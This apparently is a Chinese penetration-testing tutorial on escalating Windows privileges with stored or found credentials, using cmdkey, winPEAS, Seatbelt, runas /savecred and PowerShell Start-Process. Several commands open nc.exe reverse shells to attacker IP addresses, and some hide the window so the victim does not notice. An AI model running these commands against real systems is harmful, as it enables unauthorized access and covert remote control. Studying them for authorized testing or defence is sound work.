
手动枚举存储的凭据
查找存储的凭据可以使用一个简单的命令来完成:
cmdkey /list
我们可以看到本地Admin账户的凭证已经存储,可以用来执行命令。
使用工具枚举存储的凭据
WinPEAS
对于我们的需求,winPEAS.exe 就足够了。
如果没有 winPEAS.exe,可以 在此处下载。
winPEAS 运行系统的完整枚举扫描。
可用于运行完整枚举扫描的另外两个工具包括: Seatbelt.exe 和 jaws-enum.ps1
winPEAS 枚举工具,提供了大量信息。 收集到的信息也特别多,甚至会让人不知所措;关键是你需要知道在哪里寻找你想要的信息。
通常当我们运行 winPEAS 时,我们会在不带参数的情况下运行来运行检查所有信息,然后逐步梳理所有输出的内容,从上到下。
不过,在这种情况下,我们可以在Windows凭据部分查找凭据管理器中存储的凭据。考虑到这一点,我们可以使用 windowscreds 来执行指定的检查。
在将 winPEAS 下载到目标机器上,可以使用以下命令将搜索范围缩小到仅检查 Windows 凭据:
.\\winPEASx64.exe windowscreds
执行后,可以从输出中看到,使用winPEAS与手动方法相同。
那么还有另一款工具
Seatbelt
Seatbelt.exe使用与 winPEAS.exe 非常相似,可以使用以下命令运行完整的扫描(检查全部):
.\\Seatbelt.exe -group=all -full
但是使用 Seatbelt,我们可以搜索范围缩小到比使用 winPEAS 更精细的范围。
使用 winPEAS 可以缩小类别; 但 Seatbelt,可以缩小个别检查。
例如,要仅检查存储的凭据,我们可以使用以下命令:
.\\Seatbelt.exe CredEnum
使用存储的凭证执行命令
在确定这台机器上有本地管理员账户的存储凭证后,可以利用这些凭证来使用runas命令执行。
如果我们尝试运行其他命令,例如“whoami”或类似的命令,我们需要将输出到一个文件再来读取它。
这是因为 runas 是从单独的窗口执行命令的。
runas其实并不是用来运行一个命令,而是用来作为不同的账户生成一个shell。
由于runas 生成一个新的 shell 来执行命令,但我们看不到当前 shell 的输出。
可以 将whoami命令的输出到一个文件:使用以下命令
runas /env /noprofile /savecred /user:DESKTOP-NU40K5U\\admin "cmd.exe /c whoami > whoami.txt"
隐藏窗口执行
我们可以通过使用 PowerShell 从隐藏窗口执行命令可以适当增加一些隐蔽性。 这不会在目标机上留下打开的窗口,否则很容易就被发现他们可以直接关闭我们的shell。
runas /env /noprofile /savecred /user:DESKTOP-NU40K5U\\admin "powershell.exe -w hidden -c c:\\temp\\nc.exe 172.2.2.2 443 -e cmd.exe"
如果我们有 GUI 访问权限,比方说RDP会话,那么我们只需将我们想要执行的命令替换为“cmd”,这将以本地管理员帐户权限生成一个 cmd。
runas /env /noprofile /savecred /user:DESKTOP-NU40K5U\\admin cmd
通过提供的凭据进行 runas 提权
假设当我们在目标机上稳定运行shell时,使用 cmdkey /list命令没有找到任何存储的凭据;
但是,我们历经九九八十一难确实在文件系统某处的文件中找到了另一个用户的凭据。
我可以想到查看下这两种场景:
- 查找服务(SMB、RDP、WinRM)的帐户的凭据。
- 有关添加到本地管理员组和端口 3389 (RDP) 的帐户。
通过使用保存的凭据作为管理员用户运行shell提权
runas /savecred /user:admin C:\PrivEsc\reverse.exe
使用提供的凭证执行命令 - GUI
如果我们是从 GUI 而不是反向 shell进入时,那么我们可以使用 runas命令使用提供的凭据执行命令。 但这在反向shell中是行不通的!
原因仅仅是由 Windows 实施的安全措施。
以前,我们可以把提供的凭证直接传给runas命令,它就会接受这些凭证并以该用户的身份运行命令。现在,情况不是这样了。
Windows 现在会出现交互式提示以请求用户密码,并且不会直接在 runas 命令本身中接受凭据。
所以我们无法通过使用 echo-pipe 技巧将密码通过管道传输到命令中来绕过。
但这样的艰难条件下,我们可以从 GUI 使用以下命令以不同的用户身份生成 cmd:
runas /env /noprofile /user:abc123.local\\abc123 cmd
系统会提示我们输入密码,成功输入密码后,将以我们指定的用户身份打开 cmd。
如果帐户未加入域,可以从 runas 命令中删除 <domain>\username 部分并仅使用用户名或 <hostname>\username。
如果帐户未加入域,可以从 runas 命令中删除 <domain>\username 部分并仅使用用户名或 <hostname>\username。
使用提供的凭证执行命令——反向 Shell(标准用户)
如果目标机器关闭了 RDP 会怎样?
反向 shell 是非交互式的。
如果我们的当前用户没有 GUI 访问权限,我们将无法使用 runas 来执行命令,就像我们找到的凭据一样。
要绕过这个问题,我们可以使用 PowerShell!
我们使用 PowerShell 的命令powershell -ep bypass
来尝试。
从我们当前的 shell运行 powershell -ep bypass
并不总是有效的,可能会导致 shell 挂起并K掉。 如果是这种情况,我们可以使用 Nishang的PowerShell 反向 TCP 脚本来获取 PowerShell。
使用 PowerShell,我们可以使用变量来安全地存储我们找到的凭据,然后将变量传递到 Start-Processcmdlet。 这将有效地与 runas 相同,只是没有交互式密码提示,并且它将完全从反向 shell 运行!
再次在443端口开启监听器,然后依次执行以下三个命令:
$secpasswd = ConvertTo-SecureString "abc123@l21" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("test.com\\admin", $secpasswd)
Start-Process -FilePath powershell.exe -argumentlist "C:\\temp\\nc.exe 172.26.2.32 443 -e cmd.exe" -Credential $mycreds
- 第一个变量是密码(在引号中)。
- 第二个变量是将密码分配给用户名。
- 第三行是我们要使用存储的凭据运行的命令。
执行后,我们监听一个端口,进行反弹,接收shell。
同样,就像我们使用存储的凭据一样,这将在目标机留下一个 PowerShell窗口,并且非常明显很可能被关闭。 要隐藏窗口,我们可以改为发出以下 Start-Process命令:
Start-Process -FilePath powershell.exe -argumentlist "-w hidden -c C:\\temp\\nc.exe 172.16.1.30 443 -e cmd.exe" -Credential $mycreds
使用提供的凭据执行命令 - 反向 Shell(添加本地管理员用户)
作为创建用户并将其添加到本地管理员组的漏洞利用,那么当我们使用上面的 PowerShell 使用runas 命令时,我们将不会收到管理员 shell。
UAC 工作方式的结果。对于内置管理员帐户,如果您打开 cmd.exe,它会默认打开并显示管理员权限提示。
但用户在本地管理员组中但不是内置管理员帐户,则会弹出管理员权限提示,您需要使用“以管理员身份运行”打开 cmd.exe。
如果我们只是用这个用户打开 cmd.exe 但不是以管理员身份运行,我们会得到一个当前运行用户权限的shell。
使用命令 net localgroup administrators
,我们可以看到用户是否为主机上的本地管理员。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)